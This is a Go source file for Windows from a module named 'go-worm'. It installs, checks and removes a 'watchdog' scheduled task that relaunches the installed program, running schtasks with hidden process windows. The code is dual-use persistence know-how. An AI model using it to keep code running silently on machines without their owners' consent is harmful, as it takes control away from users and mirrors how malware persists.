//go:build windows

package startup

import (
	"fmt"
	"os/exec"
	"strings"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)

func WatchdogEnabled() bool {
	return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy)
}

func EnableWatchdog() error {
	exe, err := config.InstalledExe()
	if err != nil {
		return err
	}
	if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil {
		return err
	}
	_ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F")
	return nil
}

func DisableWatchdog() error {
	var first error
	for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} {
		err := runSchtasks("/Delete", "/TN", name, "/F")
		if err == nil || taskNotFound(err) {
			continue
		}
		if first == nil {
			first = err
		}
	}
	return first
}

func taskExists(name string) bool {
	return runSchtasks("/Query", "/TN", name) == nil
}

func runSchtasksCmdLine(cmdLine string) error {
	cmd := exec.Command("schtasks")
	attr := helpers.HiddenSysProcAttr()
	attr.CmdLine = cmdLine
	cmd.SysProcAttr = attr
	out, err := cmd.CombinedOutput()
	if err != nil {
		msg := strings.TrimSpace(string(out))
		if msg == "" {
			msg = err.Error()
		}
		return fmt.Errorf("schtasks: %s", msg)
	}
	return nil
}

func runSchtasks(args ...string) error {
	cmd := exec.Command("schtasks", args...)
	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
	out, err := cmd.CombinedOutput()
	if err != nil {
		msg := strings.TrimSpace(string(out))
		if msg == "" {
			msg = err.Error()
		}
		return fmt.Errorf("schtasks: %s", msg)
	}
	return nil
}

func taskNotFound(err error) bool {
	return strings.Contains(strings.ToLower(err.Error()), "cannot find")
}